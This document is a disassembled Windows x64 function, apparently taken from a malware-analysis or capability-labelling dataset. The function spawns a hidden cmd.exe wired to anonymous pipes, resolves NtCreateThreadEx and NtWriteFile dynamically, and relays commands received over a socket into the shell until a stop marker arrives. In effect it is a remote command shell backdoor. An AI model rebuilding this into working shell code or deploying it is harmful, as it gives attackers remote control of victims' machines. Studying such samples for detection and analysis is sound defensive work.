Function at 0x140001240
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], r14
push rbp
lea rbp, [rsp - 0x440]
sub rsp, 0x540
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x430], rax
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [str.C:WindowsSyste]
lea r8, [rsp + 0x68]
xor r14d, r14d
mov dword [rbp + 0x30], 0x5c32336d
xor r9d, r9d
mov dword [rbp + 0x34], 0x2e646d63
lea rdx, [0x140005640]
mov dword [rbp + 0x38], 0x657865
lea rcx, [0x140005648]
mov dword [rsp + 0x68], 0x18
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rsp + 0x70], r14
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rsp + 0x68]
lea rdx, [0x140005630]
lea rcx, [0x140005638]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor edx, edx
lea r8d, [r14 + 0x68]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [0x140005630]
lea rcx, [rbp + 0x20]
mov qword [rbp], rax
xor r9d, r9d
mov qword [rbp - 8], rax
xor r8d, r8d
mov rax, qword [0x140005648]
xor edx, edx
mov qword [rbp - 0x10], rax
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, [0x1400032a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov qword [rsp + 0x60], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], r14
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x48], r14
mov r9, rax
mov qword [rsp + 0x40], r14
lea rax, [0x140001100]
mov qword [rsp + 0x38], r14
xor r8d, r8d
mov dword [rsp + 0x30], r14d
mov edx, 0x1fffff
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call rbx
cmp qword [rsp + 0x60], r14
je 0x1400014e6
xor edx, edx
mov qword [rsp + 0x550], rdi
mov r8d, 0x3e8
lea rcx, [rbp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005650]
lea rdx, [rbp + 0x40]
xor r9d, r9d
mov r8d, 0x3e8
call qword [sym.imp.WS2_32.dll_recv]
lea r8d, [r14 + 4]
movsxd rdi, eax
lea rdx, [0x140003324]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400014de
cmp rdi, 0xffffffffffffffff
je 0x1400014de
mov rbx, qword [0x140005640]
lea rcx, [0x1400032a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtWriteFile
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], r14
lea rcx, [rbp + 0x40]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov qword [rsp + 0x28], rcx
xor edx, edx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
mov rcx, rbx
call rax
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005650]
lea rdx, [rbp + 0x40]
xor r9d, r9d
mov r8d, 0x3e8
call qword [sym.imp.WS2_32.dll_recv]
mov r8d, 4
lea rdx, [0x140003324]
lea rcx, [rbp + 0x40]
movsxd rdi, eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001436
mov rdi, qword [rsp + 0x550]
lea rcx, [0x1400032a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTerminateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x60]
or edx, 0xffffffff
call rax
mov rbx, qword [rbp - 0x80]
lea rcx, [0x1400032a8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtTerminateProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or edx, 0xffffffff
mov rcx, rbx
call rax
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.1400018a0
lea r11, [rsp + 0x540]
mov rbx, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret